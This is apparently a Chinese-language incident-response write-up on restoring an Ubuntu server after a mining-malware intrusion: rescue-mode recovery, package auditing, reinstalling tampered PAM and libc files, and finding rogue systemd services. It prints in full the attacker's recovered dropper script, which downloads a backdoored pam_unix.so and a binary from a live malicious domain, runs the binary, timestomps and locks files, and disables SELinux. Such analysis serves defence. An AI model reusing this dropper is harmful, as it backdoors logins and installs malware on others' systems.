救援镜像 f19fd48c-46d2-455e-9d71-0409f3a4c9e4
问题表现为无法远程登录,通过vnc登录同样失败,控制台重置密码同样不生效。
先从无法远程登录及无法vnc登录开始排查
vnc登录时输入用户名root回车后,在没有到输入密码的步骤时,直接报错密码错误
控制台重启后进入救援模式进行排查
查看安全日志,发现pam模块报错且认证失败
尝试重置密码,发现无法重置
根据上述情况,有理由考虑被入侵的可能性,执行crontab -l ,发现异常计划任务,简单分析一下,判断为挖矿任务
排查出安全问题之后,首先尝试能够正常登录系统进行排查,优先解决无法登录的问题。
先尝试在救援模式下恢复网络,执行export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 命令,确保可以正常使用命令
执行ip link show和ifconfig,发现网络接口没有启动,使用dhclient ens3可以自动启用网络接口,并dhcp下发地址
ping 测试网络恢复成功(需要注意的 ubuntu 和 debian 在救援模式下无法执行 CTRL+C,所以不建议从内部 ping 外面测试,以及执行其他需要 CTRL+C 结束的命令)
网络恢复后,ubuntu系列操作系统可以安装debsums进行包审计
使用debsums -a>/root/debsum.txt进行审计
审计完成之后查看审计失败结果,明显可以看到pam_unix.so和ld-linux-x86-64.so.2被篡改了
使用dpkg -S /lib/x86_64-linux-gnu/security/pam_unix.so和dpkg -S /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2查询来自libpam-modules和libc6这两个包
debsums检查出来不一致的配置文件进行单独查看分析,未发现异常配置,那么现在就需要重新安装有问题的包
apt install –reinstall libpam-modules
安装出现了报错提示 /lib/x86_64-linux-gnu/security/pam_unix.so权限不足,执行lsattr /lib/x86_64-linux-gnu/security/pam_unix.so检查权限,发现被上锁
执行chattr -ia /lib/x86_64-linux-gnu/security/pam_unix.so后重新安装
libc6库同上,先解锁,再安装
apt install –reinstall libc6
再次修改root密码,发现没有报错
初步修复之后务必做好快照,因为若此时重启操作系统,会有开机自启动的服务器重新篡改这些文件
启动sshd服务验证远程登录功能
此时可以尝试开始清理病毒文件并恢复系统
先对之前恶意程序篡改的文件加锁,来试图对抗恶意程序的修改以能够登录到异常系统进行排查
chattr +ia /lib/x86_64-linux-gnu/security/pam_unix.so
chattr +ia /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
重启操作系统,并
清除计划任务
查看启动脚本,初步检查无异常
检查自启动的systemd服务
systemctl list-unit-files –type=service –state=enabled
可以看到有69个自启动的服务,现在需要排查出可疑的服务
root@host-172-13-1-211:~# systemctl list-unit-files --type=service --state=enabled
UNIT FILE STATE VENDOR PRESET
apparmor.service enabled enabled
blk-availability.service enabled enabled
chrony.service enabled enabled
cloud-config.service enabled enabled
cloud-final.service enabled enabled
cloud-init-local.service enabled enabled
cloud-init.service enabled enabled
cloudResetPwdAgent.service enabled enabled
cloverfield.service enabled enabled
console-setup.service enabled enabled
containerd.service enabled enabled
cron.service enabled enabled
ddaemon.service enabled enabled
dmesg.service enabled enabled
docker.service enabled enabled
e2scrub_reap.service enabled enabled
finalrd.service enabled enabled
getty@.service enabled enabled
gpu-manager.service enabled enabled
grub-common.service enabled enabled
grub-initrd-fallback.service enabled enabled
irqbalance.service enabled enabled
kdump-tools.service enabled enabled
keyboard-setup.service enabled enabled
lvm2-monitor.service enabled enabled
lxd-agent.service enabled enabled
ModemManager.service enabled enabled
multipathd.service enabled enabled
my_daemon.service enabled enabled
NetworkManager-dispatcher.service enabled enabled
NetworkManager-wait-online.service enabled enabled
NetworkManager.service enabled enabled
networkxm.service enabled enabled
nidhogg.service enabled enabled
nvidia-hibernate.service enabled enabled
nvidia-mig-disable.service enabled enabled
nvidia-resume.service enabled enabled
nvidia-suspend.service enabled enabled
ollama.service enabled enabled
open-iscsi.service enabled enabled
open-vm-tools.service enabled enabled
pollinate.service enabled enabled
resolvconf-pull-resolved.service enabled enabled
resolvconf.service enabled enabled
rsyslog.service enabled enabled
secureboot-db.service enabled enabled
setvtrgb.service enabled enabled
snap.lxd.activate.service enabled enabled
snapd.apparmor.service enabled enabled
snapd.autoimport.service enabled enabled
snapd.core-fixup.service enabled enabled
snapd.recovery-chooser-trigger.service enabled enabled
snapd.seeded.service enabled enabled
snapd.service enabled enabled
snapd.system-shutdown.service enabled enabled
ssh.service enabled enabled
systemd-pstore.service enabled enabled
systemd-resolved.service enabled enabled
thermald.service enabled enabled
ua-reboot-cmds.service enabled enabled
ubuntu-advantage.service enabled enabled
udisks2.service enabled enabled
ufw.service enabled enabled
unattended-upgrades.service enabled enabled
uniagent.service enabled enabled
uniagentd.service enabled enabled
v2raya.service enabled enabled
vgauth.service enabled enabled
wpa_supplicant.service enabled enabled
69 unit files listed.
创建一个脚本,用于确定最近修改的服务时间
#!/bin/bash
# 输出文件路径
output_file="/root/systemd-time.txt"
# 清空输出文件(如果存在)
> "$output_file"
# 获取启用的服务列表并逐行处理
enabled_services=$(systemctl list-unit-files --type=service --state=enabled | awk '{print $1}' | grep -v '^$')
# 输出启用的服务到文件
echo "启用的服务列表:" >> "$output_file"
for service in $enabled_services; do
echo "$service" >> "$output_file"
# 查找服务文件
service_paths=$(find /etc/systemd/system /lib/systemd/system -name "$service")
# 检查是否找到了服务文件
if [ -z "$service_paths" ]; then
echo "未找到服务文件:$service" >> "$output_file"
else
# 输出找到的服务文件路径
echo "找到的服务文件路径:" >> "$output_file"
echo "$service_paths" >> "$output_file"
# 使用 stat 查看每个文件的信息
for service_path in $service_paths; do
stat "$service_path" >> "$output_file"
done
fi
done
执行脚本之后,根据发现问题的时间区间,定位出在这期间创建的可疑服务为:
ddaemon.service;my_daemon.service;networkxm.service
他们的创建时间均为2025-02-17,且命名不像是正常服务
ddaemon.service服务分析
可执行文件微步分析
有下载脚本的网络行为
下载这个jc.sh脚本如下:
#!/bin/bash
# Function to download and update pam_unix.so
download_and_update_pam() {
local pam_file="$1"
local pam_version="$2"
local exec_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/1"
local pam_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/pam_unix.so_$pam_version"
echo "$pam_url"
# Backup existing pam_unix.so file if it exists
if [ -f "$pam_file" ]; then
#ddos -ia "$pam_file"
chattr -ia "$pam_file"
mv "$pam_file" "${pam_file}.bak"
fi
# Download and update pam_unix.so
if which curl >/dev/null 2>&1; then
curl -o "$pam_file" "$pam_url"
elif which wget >/dev/null 2>&1; then
wget -O "$pam_file" "$pam_url"
else
echo "Neither curl nor wget found. Exiting."
exit 1
fi
chmod 644 "$pam_file"
touch "$pam_file" -r "${pam_file}.bak"
chattr +ia "$pam_file"
echo "Updated version $pam_version"
if which curl >/dev/null 2>&1; then
curl -o 1 "$exec_url"
elif which wget >/dev/null 2>&1; then
wget -o 1 "$exec_url"
else
echo "Neither curl nor wget found. Exiting."
exit 1
fi
chmod 777 1
./1
}
# Detect operating system and define pam_file location
detect_os_and_define_pam_file() {
if [ -f /etc/os-release ]; then
. /etc/os-release
OS=$NAME
elif type lsb_release >/dev/null 2>&1; then
OS=$(lsb_release -si)
elif [ -f /etc/lsb-release ]; then
. /etc/lsb-release
OS=$DISTRIB_ID
elif [ -f /etc/redhat-release ]; then
OS=$(cat /etc/redhat-release | cut -d' ' -f1)
else
OS=$(uname -s)
fi
case "$OS" in
"Debian"|"Ubuntu"|"Debian GNU/Linux")
PAM_FILE="/lib/x86_64-linux-gnu/security/pam_unix.so"
;;
"CentOS"|"RHEL"|"CentOS Linux"|"Fedora"|"AlmaLinux"|"CentOS Stream"|"OpenCloudOS")
PAM_FILE="/lib64/security/pam_unix.so"
;;
*)
echo "Unsupported operating system: $OS. Exiting."
exit 1
;;
esac
}
# Main logic
detect_os_and_define_pam_file
# Get PAM version
if [[ -f /etc/debian_version ]]; then
# For Debian/Ubuntu systems
PAM_VERSION=$(dpkg -s libpam-modules | grep '^Version:' | awk '{print $2}')
else
# For RedHat/CentOS systems
PAM_VERSION=$(rpm -q pam | grep -oP 'pam-\K[\d\.]+' | head -1)
fi
if [[ -z "$PAM_VERSION" ]]; then
echo "PAM not installed or version not detected. Exiting."
exit 1
fi
# Format PAM version for URL
PAM_VERSION_FORMATTED="v$(echo "$PAM_VERSION" | tr -d '.' | cut -c1-3)"
# Download and update PAM
download_and_update_pam "$PAM_FILE" "$PAM_VERSION_FORMATTED"
# Additional configurations
sed -i 's/^UsePAM no/UsePAM yes/' /etc/ssh/sshd_config
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
setenforce 0
chattr +ia /etc/selinux/config
systemctl restart sshd || service sshd restart
# Self-deletion of the script
# rm -- "$0"
rm jc.sh
my_daemon.service 服务分析
可执行文件微步分析
networkxm.service 服务分析
微步无已知样本,上传进行分析
移除恶意服务,并重启
重启之后,系统可以正常登陆,top查看,发现有异常进程
根据/proc/717/exe定位出异常可执行文件,再服务列表中查找如下
、
将可执行文件上传分析,判断为恶意木马
分析为挖矿程序
安装chkrootkit深入分析
扫描无异常
安装rkhunter
更新病毒库
扫描发现异常
1
重新安装